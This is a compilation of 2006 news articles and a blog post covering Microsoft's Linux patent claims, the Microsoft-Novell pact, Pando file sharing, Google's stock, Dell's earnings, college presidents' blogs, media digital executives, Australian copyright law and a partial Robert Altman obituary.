Come on, no matter how much of a Linux fan you are, you have to admit that there's at least a chance that Linux does indeed infringe on Microsoft's patents. After all, Microsoft does hold a lot of patents and while Linux is open source and we can all take a look at the source code, only Microsoft has access to most of its source code so it isn't all that difficult for it to prove – to itself at any rate – that there are IP infringements contained in Linux. After all, before IBM handed over some 500 patents to the open source community, it's pretty clear that Linux was infringing some of them. Given that, why is it so hard to believe that the same isn't going on with Microsoft?

Some have called on Microsoft to come clear on what the infringements are (Mary Jo Foley, my blogging colleague here at ZDNet has written a couple of posts along those lines). That would certainly be interesting but there's no reason for Microsoft to do this. It would dismiss the speculations about the claim being FUD, but it wouldn't achieve anything else. Microsoft can just sit on this information and use it as leverage in deals that it wants to cut or future legal action that it might feel it needs to take. After all, the Open Invention Network has said it is ready to leverage the IP portfolio that it has accumulated to maintain the open patent environment. Why shouldn't Microsoft do the same to protect its business model? It might not be the "nice" thing to do, but this is business after all. (And if you don't like that, consider how you'd feel if whoever is heading the company you work for started taking their eye off the business ball - I bet you'd spend some time updating your résumé, just in case!)

But what would it mean to Linux users if the operating system they use infringed IP belonging to Microsoft? Well, I'm pretty sure that it would mean absolutely nothing to all the geeks that use Linux for personal and home use. I don't see Microsoft ever knocking on anyone's door looking to collect a "Linux tax", it's just not worth the hassle.

But what about commercial uses of Linux? There things could be different but I still see the courts being a long way off. No doubt Microsoft could bury the competition in legal paperwork and just sit back and wait for them to go bust, but that would do nothing but generate a shed-load of bad press. The best thing that Microsoft could do would be to sit on this information and use it to cut deals - or use it to generate goodwill and donate the patents to the open source community…

… did I just see a pig flying past my office window?
http://blogs.zdnet.com/hardware/?p=161





Free Software Bypasses Attachment Limits
Anick Jesdanun

There's a new way to send large movie, music and other files without worrying about whether the e-mail systems can handle large attachments.

Free software from Pando Networks Inc. automatically converts your attachments into a small file that your friend or relative can simply open to download the original file from Pando or elsewhere. Beginning Tuesday, Pando is offering plug-ins to work with most Web-based mail services.

Major e-mail providers generally limit the size of files you can send or receive to 10 megabytes. The Week in Review is edited and published by Jack Spratts. That's fine for text and even small photos - but try sending an entire photo album, music or video, and you run against the caps quickly.

And even if your provider lets you send the large files, the recipient's service provider might not accept them.

"Everybody has experienced problems of, `I want to send something but it's too large to send by e-mail,'" said Robert Levitan, Pando's chief executive.

With Pando, files larger than a specified size are automatically converted. A copy of the file is sent to Pando's servers, and only a small attachment gets sent to the recipient, who must have or obtain the free software from Pando.

Microsoft Corp.'s Windows operating system and Internet Explorer browser are required to send files using the Web-based plug-ins, but Mac users can get the free standalone application to open them - as well as to send their own. Windows users can also send files with the standalone program or a plug-in for Microsoft's Outlook e-mail software.

Pando accepts files of up to 1 gigabyte - 10 times the free offering from YouSendIt.com, which isn't integrated with the Web-based mail services. Pando plans to make money from ads and a premium version with higher limits and longer retention - files are deleted from Pando's servers after 14 days under the free plan.
http://hosted.ap.org/dynamic/stories...11-21-18-44-29





New Coffee Maker Uses SPOT Technology
Brian Bergstein

A new coffee maker hitting stores for the holidays can display real-time weather data, using a "smart objects" technology that Microsoft Corp. has been touting for years.

The $200 Melitta Smart Mill & Brew, made by Salton Inc., takes advantage of a wireless-data system built by Microsoft to automatically display current weather conditions and forecasts.

This concept - imbuing everyday objects with the ability to deliver at-a-glance information - has been in the works at Microsoft since at least 2000. Chairman Bill Gates highlighted the "Smart Personal Objects Technology" (SPOT) in his keynote at the Comdex trade show in 2002, calling it part of a seminal shift in computing that would soon make a mark.

In practice, though, making SPOT run has been laborious. To shoot real-time data to household gadgets, Microsoft and partner companies had to design a mini-operating system and power-friendly microchips for them. It also set up a nationwide wireless data system using the FM radio spectrum.

The first SPOT-infused products, watches from three companies that offered real-time news and other information, hit the market in 2004, followed by a home weather gadget from Oregon Scientific Inc.

That makes the coffee maker just the third kind of item to deploy the technology.

But Eric Lang, who manages the SPOT initiative, said the project "is on a roll now." Microsoft has simplified the process by which gadget makers can add SPOT to products, and several are due to be announced in coming months.

"It's clear this is where technology is going, there's no doubt about it," Lang said. "It might be a little before its time for mainstream America, but it's absolutely where things are going."
http://hosted.ap.org/dynamic/stories...11-21-18-44-01





Australian Copyright Proposal Criticized
AP

Critics of a copyright proposal in Australia are warning that serious penalties could result from the use of iPod music players and video-sharing sites like YouTube, even if all you're doing is showing yourself singing along to your favorite song.

Electronic Frontiers Australia, a free-speech advocacy group, said the proposal vastly extends the scope of items considered used for copyright theft. Instead of being limited to commercial machines like printing presses, the group said, the proposal would cover personal devices like video players, music players and home computers.

Another section "would arguably make distribution of copyright material via the Internet a criminal offense, even where the person responsible had not intended such distribution to occur," the group said.

The copyright proposal has been introduced in Parliament. Politicians and experts are debating it before a final version is put to a vote, expected next year next year.
Attorney-General Philip Ruddock has not responded directly to the claims, but has said the provisions are intended to catch and punish major music and movie pirates, not personal users.

The proposals would make it an indictable offense - one that must go before the justice system - for someone to possess a device with the intention of using it to infringe copyright. Previously, such infringements have generally been dealt with by paying damages to the copyright holder, without the involvement of the courts.

Brian Fitzgerald, the head of Queensland University's law school, said the changes "have the potential to make everyday Australians in homes and businesses across the country into criminals on a scale that we have not witnessed before."

The proposal could potentially cover "a 14-year-old girl videoing herself lip-synching to her favorite pop tune and uploading this to a video sharing Web site like YouTube," Fitzgerald wrote in an Oct. 26 article posted on the Web site of Online Opinion.
http://hosted.ap.org/dynamic/stories...11-21-18-43-10





Erasing Divide, College Leaders Take to Blogging
Diana Jean Schemo

Thanks to an e-mail message from “trinity gurl,” an anonymous cybersnoop, Patricia A. McGuire, the president of Trinity University here, suddenly faced a digital-age dilemma.

The e-mail message turned in another student for using profanity on her personal Web page, which linked to Trinity’s Web site. Nothing scandalous, but Dr. McGuire was more troubled, she said, that “trinity gurl” had snitched in secrecy.

So Dr. McGuire reached for a particularly apt solution in the age of the blogosphere: She censured the eager informant on her own blog, comparing the e-mailer to Big Brother and asking, “Who is ‘trinity gurl’ and why is she sending me this kind of information about something a student is posting online?”

While some colleges and their presidents have seen their reputations shredded on student blogs, and others have tried to limit what students and faculty members may say online, about a dozen or so presidents, like Dr. McGuire, are vaulting the digital and generational divide and starting their own blogs.

Veterans of campus public relations disasters warn that presidents blog at their peril; “an insane thing to do” is how Raymond Cotton, a lawyer who advises universities and their presidents in contract negotiations, describes it. But these presidents say blogs make their campuses seem cool and open a direct line, more or less, to students, alumni and the public.

“When I first started learning about blogs, I said, ‘Well, here I like to discourse on issues of the day, connect with the campus community,’ ” recalled Dr. McGuire, who said she wrote all her own entries. “Here’s a way I can talk a couple of times a week to everybody.”

And so she does: about Representative Nancy Pelosi, class of 1962, who will be the first female speaker of the House; about election results; about breaking ground for a memorial to the Rev. Dr. Martin Luther King Jr.; and about lesbian alumnae and the Roman Catholic Church, sensitive ground for a Catholic undergraduate college serving mostly minority and low-income women.

Dr. McGuire wrote that the church’s rejection of same-sex unions did not mean that the “alma mater must shun her own daughters.” She added, “All alumnae are welcome at Trinity, always.”

At Towson University, outside Baltimore, the president, Robert L. Caret, who writes Bob’s Blog, appears online in sunglasses, casually unshaven and smiling gamely alongside the Towson Tiger mascot. Dr. Caret’s blog, though, plays it safe, mostly praising particular programs like summer courses or studying abroad, or urging students to join clubs and to help spruce up the campus.

But that does not mean the students play it safe.

Dr. Caret’s post titled “Education vs. Training” prompted a graduate student to complain about what he called a language barrier with foreign-born teachers. To illustrate his point, the student reprinted a note in broken English from one of his professors, which ended: “Of course, some class(es) may not satisfy your thirsty in terms of your learning expectation. But even those classes will be a small stone to build your career.”

The student asked Dr. Caret, “Can students learning a new subject be expected to comprehend the new topic when they are too busy trying to comprehend what was just said?”

Though Dr. Caret’s site posted the letter, he did not answer the question on his blog. In an e-mail message, he said he forwarded the complaint to the provost.

It is this kind of exchange that prompts Mr. Cotton, the lawyer, to urge caution. If trustees are dissatisfied with a president, Mr. Cotton said, blogs offer a president’s adversaries ready ammunition. A casual comment taken out of context, a longstanding problem not addressed, or a politically controversial position can all torpedo a president, he said.

“In this day and age of political correctness,” Mr. Cotton said, “it exposes the president to all kinds of unfair and unwarranted criticism.”

So perhaps it is no wonder that Dr. Caret is not live on the keyboard. An assistant posts the thoughts that Dr. Caret dictates, while an employee in the marketing department screens responses and posts them.

“When you’re fund-raising, a big part of that is creating an atmosphere of excitement, of a campus that’s going places,” Dr. Caret said. The blog, he said, “adds to that.”

Some presidents try to connect on a lighter, more personal note. After forgetting his cellphone on the roof of his car and driving off, Dick Celeste, the president of Colorado College, blogged about “that set of brain cells that tells me exactly what is going to happen when I do something. But then is incapable of helping me avert that very consequence.”

Lou Anna K. Simon, president of Michigan State University, uses her blog for serious topics. For example, she recommitted the university to diversity, despite a rejection of affirmative action by voters in Michigan this month.

Dr. Simon also condemned a conservative group’s plan to stage “Catch an Illegal Immigrant Day” on campus. The event would have involved finding a student to play the role of an illegal immigrant and turning the “immigrant” in. Dr. Simon derided the game as “a way to mock and demean, not to educate; a way to exclude, not include, voices.”

That posting won her praise from the student government and others, said Lindsey Poisson, a reporter for the campus newspaper. Though the president’s choice of subjects did not always resonate with students, in this instance, students wanted to know where the president stood, Ms. Poisson said.

“Her blogging is one of the things that changed the image of the president on campus,” she said. “A significant part of everything she’s trying to do to is to reach out to students.”

But the group that planned the event, Young Americans for Freedom, said that the blog inhibited free speech, and that no professor or administrator should express an opinion publicly about anything.

“We’re here to be educated, to get our degrees,” said Kyle Bristow, chairman of the group, which dropped its plans in favor of a forum on immigration later this semester. “They’re here to provide an atmosphere where we can be educated. We should be able to think for ourselves and not have people like Lou Anna Simon thinking for us.”

At Trinity, Dr. McGuire took a chance in exposing “trinity gurl” on her blog. Instead of opening communication with students, she risked shutting it down by rebuking the informant publicly. But anonymous accusations ran against the university’s honor code, a point, she said, that she could not ignore. Eventually, “trinity gurl” identified herself to Dr. McGuire as a student.

Leah Martin, president of the student government at Trinity, said the column fed into an ongoing debate over Web pages, free speech and the honor code, adding the president’s voice to the mix. “People wanted to know what she thought,” Ms. Martin said.

Bob Johnson, a consultant to many universities on marketing, said he was mystified that university officials had not generally embraced blogs. Mr. Johnson said student blogs, for example, could be a “hugely effective” recruitment tool, even if they carried the implicit promise — or threat — of uncensored truth, however unflattering.

Mr. Johnson encourages presidents to be bold.

“Just because you can’t beat them,” he said, “doesn’t mean you shouldn’t do it yourself.”
http://www.nytimes.com/2006/11/22/ed...rtner=homepage





A $500 Milestone for Google Believers
Saul Hansell

When Google’s shares nearly doubled in the first few months after its initial public offering, Mark Mahaney decided it was time for his clients to take advantage of the fervor that had built up around the company. He advised them to sell Google shares and put the money into Yahoo.

“I thought the stock was a little expensive,” said Mr. Mahaney, an analyst then for American Technology Research and now for Citigroup. “It turns out that was a terrible call.”

So by the beginning of 2005, Mr. Mahaney jumped on the Google bandwagon. And so have most of Wall Street’s analysts, along with the portfolio managers who look after big pension and mutual funds.

Yesterday, Google’s shares closed at $509.65, up $14.60, passing the $500 mark for the first time. (Mr. Mahaney, who made his sell recommendation at $137, is now among those predicting that Google shares will rise to $600 within a year.)

Not bad for a company that was forced to reduce its initial offering price to $85 a little more than two years ago because of lackluster demand. It quickly confounded the skeptics, rising to $100 on the first day of trading, and reaching closing prices of $200, $300 and $400 all within the course of 2005.

Google now has a market value of $156 billion, exceeding all but 13 American companies — icons of commerce like Exxon Mobil, Johnson & Johnson and Wal-Mart. It is worth more than any media company and all the technology companies except Microsoft, whose software empire it increasingly threatens, and Cisco Systems.

Google’s success has made its founders, Sergey Brin and Larry Page, the 12th- and 13th-richest people in the United States, according to Forbes — and, at 33, the youngest in the top 400. Their shareholdings are worth more than $15 billion each, on top of the more than $2 billion in cash that each has received for selling some shares.

Yet Google’s rise in value and corporate maturity is not just about accomplishment, but about potential. While most companies slow as they grow, Google so far appears to be accelerating.

Its rising stock price has helped it attract the best engineers, minting an untold number of Google millionaires. It has also allowed important acquisitions, most recently a $1.65 billion all-stock deal for the video-sharing site YouTube. And as Google builds a lucrative franchise in selling advertising all across the Web, it makes more money, invests more and keeps the cycle going.

Anthony Noto, an analyst with Goldman Sachs, calls this a “flywheel.”

“They can reinvest at a faster rate; they can innovate at a faster rate; they can create value for advertisers and users at a faster rate,” he said.

The company is spending money as if it doesn’t expect this growth to stop. Since its offering, Google has quadrupled its staff, to more than 9,000 employees — many with doctorates from the world’s leading universities — and it is hiring more than 100 people a week to fill three dozen or so offices in more than 20 countries; its headquarters are in Mountain View, Calif., in Silicon Valley. Last year, it received more than a million résumés.

Google is pouring billions of dollars a year into research, computers and a global communications network — as well as investments in solar energy, a new campus at a decommissioned naval air station, and an army of private chefs cooking free meals from organic produce and hormone-free meat.

Not everything Google touches has turned to gold. Its homegrown video service, chat software and financial information section lag behind those of popular rivals. It has found itself a magnet for legal threats and, in some cases, lawsuits as it moves aggressively to make a growing body of content searchable online. And some have expressed concern about the volume of personal data it is accumulating about its users.

Still, as Google starts to dabble in all sorts of markets, ranging from wireless Internet access to corporate software, it has become in many ways the center of gravity for the technology industries.

“It feels in many ways like competing with Microsoft in the ’90s,” said Jim Breyer, a venture capitalist with Accel Partners. “In a number of investments, if we are not at the top of our game, we will lose share to Google. Or Google will buy someone who will compete effectively.”

Hanging over all of this, of course, is the specter of the Internet boom and then the bust six years ago, and the paper wealth it created and destroyed. Some see traces of that era’s outsize expectations, if not delusions, in Google’s ascent.

After all, a company called Amazon.com was once going to change the world. Its shares split three times in the late 1990s before reaching a high of $113 at the turn of the millennium — only to fall to single digits within two years. (They have worked their way back above $40.)

But there are big differences. Google’s rise is not a result of a general rapture with technology stocks or even the search-engine category. Indeed, while Google’s stock price has risen almost 50 percent since late March, the shares of its main competitor, Yahoo, have declined nearly 14 percent.

Yet that does not settle the matter. Geoffrey A. Moore, a Silicon Valley marketing consultant and author of books on investing in technology stocks, argues that investors’ fascination with Google will inevitably wear off and its shares will plummet like so many highfliers before it.

“Google has had a spectacular early run,” he said. “The notion that this is a different animal is never the right argument.” He suggested that if Google’s business hit an unexpected slowdown, the company could meet the same fate.

“People will say, How did we ever believe that stuff?” he said. Instead of admiring Google’s practice of allowing its engineers to spend 20 percent of their time on personal projects, investors will start complaining that the company would be “only getting 80 percent productivity out of its work force.”

For now, Mr. Moore is very much in the minority. Many of those analysts who do not think Google shares will rise further express confidence that the current value is justified.

“I do not think there is a bubble about to burst — not even close,” said Benjamin Schachter, an analyst with UBS Securities, who has rated the shares hold all year. He says the stock should trade at $500 a year from now. His concerns are that the growth of Internet searching and text ads will slow and the prospects for Google’s expansion into video ads and other markets have not been proved.

But “over the long term, Google continues to outmaneuver all of its competitors,” he said. “I think it is one of the most important companies on the planet.”

And by some measures, Google’s stock price is not as steep as some stocks were at the turn of the millennium. Google’s market value today, at $156 billion, is marginally higher than the $150 billion Yahoo reached in January 2000. That year Yahoo earned a profit of only $71 million on sales of $1.1 billion; Google, in contrast, is expected to record a profit of $2.8 billion this year on gross revenue of $10 billion.

As with any highflying stock, though, a few investors are actively betting on a reversal of fortune. Fred Hickey, who writes the High-Tech Strategist newsletter from his home in Nashua, N.H., says that Google’s shares are sharply overvalued and will fall as investors notice that the company’s rapid growth is slowing.

He points out that its revenue increased 11 percent from the second quarter to the third quarter — a brisk pace, to be sure, but a lot less than the 18 percent pace in the corresponding time a year earlier.

“Google showed the sharpest revenue slowdown I’ve seen,” he said, “and nobody has paid attention.” He argued further that the company’s expenses are “out of control,” and that if the economy headed into a recession, Google’s revenue would falter and its profits plummet.

“Google will suffer the same fate that Yahoo did in 2000,” he said.

Mr. Hickey has put his money where his mouth is: he sold Google shares short, a bet that the stock price will decline. But not much: the short position is just 50 shares.

“I just wanted to be able to say I was short Google when it blew up,” he said.
http://www.nytimes.com/2006/11/22/te.../22google.html





At Dell, Profit Rises, Questions Linger
Damon Darlin

Dell reported another quarter of tepid revenue growth yesterday, but investors looked at a marked improvement from the previous period as a sign of a turnaround, pushing shares up sharply in after-hours trading.

The company had third-quarter net income of $677 million, or 30 cents a share, up 11.7 percent from the $606 million, or 25 cents a share, a year ago, which included options expenses and a one-time charge of $442 million. Analyst had expected income of 24 cents a share.

Revenue was up 3.4 percent to $14.4 billion from $13.9 billion a year ago. The computer maker, based in Round Rock, Tex., did not provide year-ago comparisons or include balance sheet information in reporting results for the quarter, which ended Nov. 3. Revenue increased 5 percent in the second quarter.

Dell cautioned that its results were preliminary and subject to restatement because of questions raised by the Securities and Exchange Commission and the United States attorney for the Southern District of New York. Both are investigating the company’s accounting.

Dell said it did not expect to file required audited statements to the S.E.C. on time. It has yet to file statements for its second quarter, which ended Aug. 4.

“People weren’t looking at the year-over-year basis,” said Laura Conigliaro, an analyst with Goldman Sachs. Dell reported income of $502 million, or 22 cents a share, in the second quarter. “People are trying to figure out if Dell can bounce back from the last quarter,” when, she said, the company “unraveled.”

Ms. Conigliaro said the average selling price increased for most Dell computers, suggesting that the company was doing a better job of avoiding severe discounting.

“It is not where you want to give it a Good Housekeeping stamp of approval,” she said, “but it shows a higher level of discipline.”

Dell’s shares closed up 17 cents, at $24.82 in regular trading. Shares rose as high as $27.05 in after-hours trading.

The company said its gross profit margin was 17 percent, up from the 15.5 percent in the second quarter.

“It points to the second quarter as an anomaly,” said A. M. Sacconaghi, an analyst with Sanford C. Bernstein & Company.

Some securities analysts were a bit more cautious. William C. Shope, an analyst with J. P. Morgan, said “it’s hard to understand how margins could be this variable.”

The uncertainty over the investigations, as well as the lack of detailed financial information makes it difficult for analysts to forecast Dell’s results.

“The sustainability of this improvement is still in question,” Mr. Shope said. Last year, Dell’s gross margin was 18.6 percent.

Dell’s stock has increased in value about 42 percent from its 52-week low set in late July.

Dell has said that the requests from investigators relate to the possibility of misstatements in previous financial reports, including issues relating to accruals, reserves and other balance sheet items from 2002 to the present.

Ms. Conigliaro said in a research report last week that “of more concern will be the very real possibility now that this could precipitate management changes and add more uncertainty to a company that has already decided to provide less detail and no targets.”

In reporting its results, the company also broke with its tradition of having the chief executive, Kevin Rollins, or its founder and chairman, Michael Dell, holding conference calls with journalists and Wall Street securities analysts. It issued only a news release after the stock market closed.

Nick Rodelli, senior analyst at the Center for Financial Research and Analysis, a forensic accounting research and consulting firm that has been examining the company’s financial statements, raised the question of whether the decision not to discuss the financial statement signaled “concerns at the board level regarding the conduct” of Mr. Dell or Mr. Rollins or “possibly others within Dell’s senior management team.”

In a news release, Dell said that “a better balance of liquidity, profitability and growth are starting to take hold.” It also heralded its growth in Asia, where it sold 23 percent more computers. Unit sales growth in the Americas, it said, fell 4 percent.

The clearest indication of Dell’s problem in the United States is seen in the unit-sales numbers behind its slipping market share in the notebook PC segment. Almost two-thirds of Dell’s business comes from North American sales.

According to sales numbers collected by Gartner, the market research firm, Dell sold more notebooks in the United States than any other vendor. But while the market for notebook computers grew 19 percent in the calendar third quarter, Dell’s sales were up 6 percent.

Meanwhile, Hewlett-Packard sold 23 percent more notebook PCs, as did Toshiba.

In the desktop market, which over all slipped 16 percent in the United States, Dell’s sales fell 15 percent. (Among the major makers, only Apple sold more desktops than the year before.) Desktops still account for 36 percent of Dell’s total revenue.

Dell executives have said they are committed to the direct-sales model, but they are experimenting with variations. It has set up two mall stores in which customers can view products and order them for delivery.

Last week, the company even set up shop inside the online virtual world “Second Life.” Visitors there can buy virtual PCs for use in the virtual world, but they can also order real computers for delivery in the real world.

The company is also spending about $150 million to improve its customer service at call centers. Dell said average hold time for American customers had been reduced to three minutes from nine minutes. The company has also reduced the number of rebates it offers to make its prices easier to compare to those of other online PC vendors.
http://www.nytimes.com/2006/11/22/te...gy/22dell.html





Seeking Executive to Tame the Digital Future
Richard Siklos

THE want ad above is a goof, of course, but it roughly sums up the state of play among big media companies’ digital operations.

In the last few weeks, there has been a stampede of change involving the top Internet executives at big media companies. Most significant, Jonathan F. Miller, the chairman and chief executive of AOL, was replaced at that Time Warner division by Randy Falco, a 31-year veteran of NBC Universal; Ross Levinsohn, the wunderkind who helped Rupert Murdoch snag MySpace last year, left the News Corporation two weeks ago and is being replaced by a cousin, Peter Levinsohn, a Fox TV veteran; and Larry Kramer, who built and sold the site MarketWatch, left his job as digital overseer at CBS after the arrival of Quincy Smith, a former investment banker, as his boss.

MTV Networks, meanwhile, recently appointed Mika Salmi, the founder of Atom Entertainment, a Web media company that it acquired, as its latest digital honcho, and NBC Universal has been making all sorts of online moves under the auspices of Beth Comstock, who came from owner General Electric last year to head all things digital there.

Has an archetypal digital genius yet emerged amid all this movement? Not exactly. The screenwriter William Goldman famously said of Hollywood’s hit machinery that “nobody knows anything.” When it comes to the digital machinations of media companies, the new tag line may be that “nobody knows everything.”

In some instances, notably AOL and the News Corporation, the companies in question have decided that their businesses have reached a new phase that would benefit from a different set of skills — in AOL’s case, operations and a heavy focus on ad sales. Elsewhere, including CBS, the digital executives themselves have discovered that the action within a giant media company may not be as much fun as it first seemed.

Michael J. Speck, who runs the media practice at the executive recruiter Heidrick & Struggles, says that roughly three baskets of digital media overseers are in the market. The first is the well-versed old-media executive who both knows how to navigate corporate corridors and run a business but may not be the most Webby person on the squad. Mr. Falco, come on down! (Of course AOL is a bit of an outlier in this discussion because it is such a big business unto itself, let alone as part of Time Warner.)

The second basket contains the Web stars — people like Mr. Salmi and, in a way, Mr. Smith, who has a venture capital background. These stars know how to identify and build Web businesses early.

Then there is the less common “general corporate athlete” (someone like Ms. Comstock), who has a track record of getting things done in a complex company but is neither a seasoned operating executive nor a Web head.

In search of enlightenment, I spoke with three of these former Web gurus — Ross Levinsohn, Mr. Kramer and Jason Hirschhorn, who left Viacom earlier this year after serving as MTV Networks’ first chief digital officer.

Mr. Levinsohn said he was grateful to Mr. Murdoch and his deputy, Peter A. Chernin, for the opportunity, but added that they differed amicably on the next moves to make in the online world and that, ultimately, he was keen to part ways and do something more entrepreneurial.

In Peter Levinsohn, the company is getting an executive with arguably less operational experience than his cousin but someone who has a record of cutting deals to distribute Fox video products on digital services like Amazon, iTunes and AOL. Moreover, people close to the company said Mr. Murdoch would probably invest in whatever Ross Levinsohn did next, though Mr. Levinsohn declined to discuss his plans. “This is not a bad thing for me, or for them,” he said.

In Mr. Kramer’s case, he made a tidy fortune selling MarketWatch and said he had never meant to take a full-time job but had enjoyed “proselytizing” about digital media across CBS and improving its Web sites. The hiring of Mr. Smith, a former Allen & Company investment banker with deep connections in Silicon Valley, came as alarm bells went off throughout media companies when Google swallowed YouTube.

CBS’s emphasis shifted from building assets internally to identifying and becoming involved with the hottest next thing. “If I was 35, I would have stayed,” said Mr. Kramer, who is 56.

Mr. Hirschhorn, who is a couple of decades younger than Mr. Kramer, said he joined Viacom in 2000 after selling a Web design start-up to the company and had never known what it was like to work in a big corporation.

After a few years of working on various online businesses at MTV Networks, it was time for a change. For his part, he yearned to get involved in another start-up or young company. (He says he’s about to take just such a job.) Meanwhile, as is typical of what can happen in these roles, Viacom’s thinking about the position was also changing.

Geoffrey K. Sands, who heads the North American media consulting practice at McKinsey & Company, told me that the tension between old and new in the latest round of digital executive changes might be missing the bigger point.

“There’s a general tendency to focus too much on individuals and make too much of who’s in and who’s out,” Mr. Sands said. “You’re going to need people who are visionary and innovative about the opportunities created by digital media, but I would look less at the individuals and more at the teams they’re putting together.”

Indeed, if the challenges of competing with Internet giants and whiz kids in garages weren’t daunting enough, one of the biggest factors for success in these jobs is organizational: does the anointed guru have the juice to cross over existing divisions and to introduce newfangled businesses that may actually hurt before they help? At NBC, for example, the current lineup of digital and Internet projects — only some of which report wholly to Ms. Comstock — resembles a Tokyo subway map.

In a way, the tenure of a chief digital genius weirdly mirrors the fickle nature of the Web itself: hits can appear very quickly, but only a few stick around for the long haul.
http://www.nytimes.com/2006/11/26/bu.../26frenzy.html





Microsoft-Novell Pact Is Already in Dispute
Steve Lohr

Less than three weeks after they reached an accord hailed as proof that rival software companies could work together, the chief executives of Novell and Microsoft are engaged in an unusual public dispute.

The pact was seen as an affirmation of the importance of Linux, an open-source competitor to Microsoft’s Windows operating system, and of the need to satisfy corporate customers who want to run both Windows and Novell’s variety of Linux in their data centers.

Explaining the agreement at a software developers’ conference in Seattle last week, Steven A. Ballmer, Microsoft’s chief executive, said it “appropriately compensated Microsoft” because Linux “uses our patented intellectual property.”

On Monday, Ron Hovsepian, Novell’s chief executive, shot back with an “open letter” that declared, “Some parties have spoken about this patent agreement in a damaging way, and with a perspective that we do not share.” He added, “Importantly, our agreement with Microsoft is in no way an acknowledgment that Linux infringes upon any Microsoft intellectual property.”

Microsoft replied with a news release Monday evening, saying the companies “have agreed to disagree.”

Yet the terms of engagement between Microsoft and Linux promise to become an even greater source of controversy. The general counsel of the Free Software Foundation, which holds the license to Linux, yesterday called on Microsoft to alter its pledge not to file patent-infringement suits against customers who use Novell’s version of Linux, called SuSe Linux. He said the pledge should be extended to all Linux users or to none.

That point was a crucial part of the Microsoft-Novell pact, which also included joint technology development and marketing programs.

The deal was also regarded as a way for Microsoft to try to undermine its leading open source competitor, Red Hat, whose customers would not enjoy the same patent pledge as Novell customers.

Preferential treatment for one distributor or group of developers of Linux over others is something the new version of the Linux software license, which is nearly complete, will seek to prohibit, said Eben Moglen, general counsel of the Free Software Foundation.

“This deal raises important questions,” said Mr. Moglen, who is a law professor at Columbia University, “and it is not going to work well under the new license.”

The new version, the General Public License 3.0, is in the final public comment stage, and is scheduled to become effective next March. A major aim of the license revision is to deal with the spread of software patents, and patent lawsuits, in recent years. And the new license will almost certainly make it difficult for companies to make selective patent pledges to some Linux distributors, developers and users, and not to others, Mr. Moglen said.

He said the concern was that Microsoft could use such patent promises as a competitive weapon to undermine companies who are rivals or to threaten independent Linux software developers.

“Microsoft should take back the patent promise to Novell customers or extend the promise of patent safety to everyone, not just Novell customers,” he said.

Microsoft has not previously made an issue of patent claims against Linux companies or developers. And while Mr. Ballmer’s assertion last week that Linux code includes Microsoft’s intellectual property may be his personal belief, it is not been reflected in the company’s strategy — at least not so far.

In an interview after the Novell deal, Bradford L. Smith, the general counsel of Microsoft, pointed to the agreement as an example of the “new intellectual property paradigms” that would be needed so that corporations and consumers could more easily use all kinds of technology, from open-source and proprietary software to digital music and video in different formats.

The different technologies and businesses will remain different, Mr. Smith said, but rigid intellectual property rules should not prevent them from working together. “What’s needed are bridges, not walls,” he said.

In its statement on Monday, Microsoft said, “Both of our companies are fully committed to moving forward with all of the important work under these agreements.”
http://www.nytimes.com/2006/11/22/te...gy/22soft.html





Robert Altman, Director With Daring, Dies at 81
Rick Lyman

Robert Altman, one of the most adventurous and influential American directors of the late 20th century, a filmmaker whose iconoclastic career spanned more than five decades but whose stamp was felt most forcefully in one, the 1970s, died Monday in Los Angeles. He was 81.

His death, at Cedars Sinai Medical Center, was caused by complications of cancer, his company in New York, Sandcastle 5 Productions, announced. A spokesman said Mr. Altman had learned that he had cancer 18 months ago but continued to work, shooting his final film, “A Prairie Home Companion,” which was released in June, and most recently completing pre-production on a new film that he intended to begin shooting in February.

Mr. Altman had a heart transplant in the mid-1990s, a fact he publicly revealed for the first time last March while accepting an honorary Oscar at the Academy Awards ceremony.

A risk taker with a tendency toward mischief, Mr. Altman put together something of a late-career comeback capped in 2001 by “Gosford Park,” a multiple Oscar nominee. But he may be best remembered for a run of masterly films — six in five years — that propelled him to the forefront of American directors and culminated in 1975 with what many regard as his greatest film, “Nashville,” a complex, character-filled drama told against the backdrop of a presidential primary.

They were free-wheeling, genre-bending films that captured the jaded disillusionment of the ’70s. The best known was “MASH,” the 1970 comedy that was set in a field hospital during the Korean war but that was clearly aimed at antiwar sentiments engendered by Vietnam. Its success, both critically and at the box office, opened the way for Mr. Altman to pursue his ambitions.

In 1971 he took on the western, making “McCabe & Mrs. Miller” with Warren Beatty and Julie Christie. In 1972, he dramatized a woman’s psychological disintegration in “Images,” starring Susannah York. In 1973, he tackled the private-eye genre with a somewhat loopy adaptation of Raymond Chandler’s “The Long Goodbye,” with the laid-back Elliott Gould playing Philip Marlowe as a ’70s retro-hipster. And in 1974 he released two films, exploring gambling addiction in “California Split” and riffing on the Dust Bowl gangster saga with “Thieves Like Us.”

Unlike most directors whose flames burned brightest in the early 1970s — and frequently flickered out — Mr. Altman did not come to Hollywood from critical journals and newfangled film schools. He had had a long career in industrial films and television. In an era that celebrated fresh voices steeped in film history — young directors like Francis Ford Coppola, Peter Bogdanovich and Martin Scorsese — Mr. Altman was like their bohemian uncle, matching the young rebels in their skeptical disdain for the staid conventions of mainstream filmmaking and the establishment that supported it.

Most of his actors adored him and praised his improvisational style. In his prime, he was celebrated for his ground-breaking use of multilayer soundtracks. An Altman film might offer a babble of voices competing for attention in crowded, smoky scenes. It was a kind of improvisation that offered a fresh verisimilitude to tired, stagey Hollywood genres.

But Mr. Altman was also famous in Hollywood for his battles with everyone from studio executives to his collaborators, leaving more burned bridges than the Luftwaffe. He also suffered through periods of bad reviews and empty seats but always seemed to regain his stride, as he did in the early ’90s, when he made “The Player” and “Short Cuts.” Even when he fell out of popular favor, however, many younger filmmakers continued to admire him as an uncompromising artist who held to his vision in the face of business pressures and who was unjustly overlooked by a film establishment grown fat on special effects and feel-good movies.

He was often referred to as a cult director, and it rankled him. “What is a cult?” Mr. Altman said. “It just means not enough people to make a minority.”

The Breakthrough

The storyline had to do with a group of boozy, oversexed Army doctors in a front-line hospital, specifically a Mobile Army Surgical Hospital. Fifteen directors had already turned the job down. But at 45, Mr. Altman signed on, and the movie, “MASH,” became his breakthrough.

Audiences particularly connected with the authority-bashing attitude of the film’s irreverent doctors, Hawkeye (Donald Sutherland) and Trapper John (Mr. Gould).

“The heroes are always on the side of decency and sanity; that’s why they’re contemptuous of the bureaucracy,” the critic Pauline Kael wrote in The New Yorker. “They are heroes because they are competent and sane and gallant, and in this insane situation their gallantry takes the form of scabrous comedy.”

